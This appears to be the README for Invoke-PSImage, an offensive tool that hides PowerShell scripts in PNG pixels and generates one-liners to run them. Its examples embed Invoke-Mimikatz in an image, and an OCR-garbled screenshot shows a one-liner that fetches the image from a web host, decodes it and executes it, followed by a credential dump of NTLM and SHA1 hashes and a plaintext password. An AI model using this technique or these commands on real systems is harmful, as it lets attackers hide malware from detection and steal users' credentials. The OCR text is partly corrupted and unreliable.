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Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It

generates a oneliner for executing either from a file of from the web.

It can either create a new image using only the payload data, or it can embed the payload in the least significant
bytes of an existing image so that it looks like an actual picture. The image is saved as a PNG, and can be
losslessly compressed without affecting the ability to execute the payload as the data is stored in the colors
themselves. When creating new images, normal PowerShell scripts are actually significantly compressed, usually

producing a png with a filesize ~50% of the original script.

With the embed method, the least significant 4 bits of 2 color values in each pixel are used to hold the payload.
Image quality will suffer as a result, but it still looks decent. It can accept most image types as input, but output
will always be a PNG because it needs to be lossless. Each pixel of the image is used to hold one byte of script, so
you will need an image with at least as many pixels as bytes in your script. This is fairly easy—for example,

Invoke-Mimikatz fits into a 1920x1200 image.

Arguments

-Script [filepath] The path to the script to embed in the Image.

-Out [filepath] The file to save the resulting image to (image will be a PNG)
-Image [filepath] The image to embed the script in. (optional)

-WebRequest Output a command for reading the image from the web using Net. WebClient. You will need to host

the image and insert the URL into the command.

-PictureBox Output a command for reading the image from the web using System.Windows.Forms.PictureBox.

You will need to host the image and insert the URL into the command.

Example

Create an image with the script "Invoke-Mimikatz.ps1" embeded in it and output a oneliner to execute from disk:

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
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[Oneliner to execute from a file]

Create an image with the script "Invoke-Mimikatz.ps1" embeded in it and output a oneliner to execute from the

web (you still have to host the image and edit the URL):

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest

[Oneliner to execute from the web]

Executing an image hosted on the web:

|4/ Select Administrator: Windows PowerShell — | [=] X4

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\lWindows\system32> sal a New-Object;Add-Type -AssemblyName “"System.Drawing”;$g= a System.Drawing.Bitmap((a Net.lUebC
lient).OpenRead( "[ATCI04 . *));:%0= a Byte[] 2204160;(0..1147) 1% {foreach($x in (0..1919)){3p=59.Get
Pixel($x,$_);:%0[$_»%1920+8x]=([math]: :Floor(($p.B -band 15)%16) -bor ($p.G -band 15))));%g.Dispose() ; IEX([System.Text .Enc|
oding]: :ASCII.GetString($o[0..2204115])); Invoke-Himikatz

HHEY mimikatz 2.1 (x86) built on Nov 10 20816 15:30:40
.#% T #4. A La Uie, A L Amour”
B/ O\ HE /no% x
## \ / #4  Benjamin DELPY ‘gentilkiwi  ( benjamin@gentilkiwi.com )
THE v HE http://blog.gentilkiwi.com/mimikatz (oe.eo)
THHRHE with 20 modules x x x/

mimikatz(powershell) # sekurlsa::logonpassuords
8RONVhd.png (1920x12 X

C' | @ Secure | https//iimgur.com/8ROnVhd.png e | &

Authentication Id : © ; 365593 (00000000 :0005941e)
Session : Interactive from 1 &
User Name : IEUser
Domain : IE8WinT
Logon Server : IESWINT
Logon Time : 12/13/2017 3:17:46 AM
SID : §-1-5-21-3463664321-2923530833
nsy :
[6060EOG3] Primary
# Username : IEUser
* Domain : IESWinT
% NTLM : Fe525¢9683e8fe06T09Sha2ddeaT .
* SHA1 : e53dT244aa8727F5789b01d89591! #
[6P0160000] CredentialKeys J?

% NTLM : Fc525c9683e8feBBTOIShaZddcaT

x SHA1 : e53d7244aa8727F5789b01d89591! ¢
tspkg : T
wdigest :

* Username : IEUser

x Domain : IE8WinT
x Passuword : PasswOrd!
kerberos : g4
% Username : IEUser e 4

* Domain  : IE8Win? A =

x Passuword : (null)

SSp :

credman :
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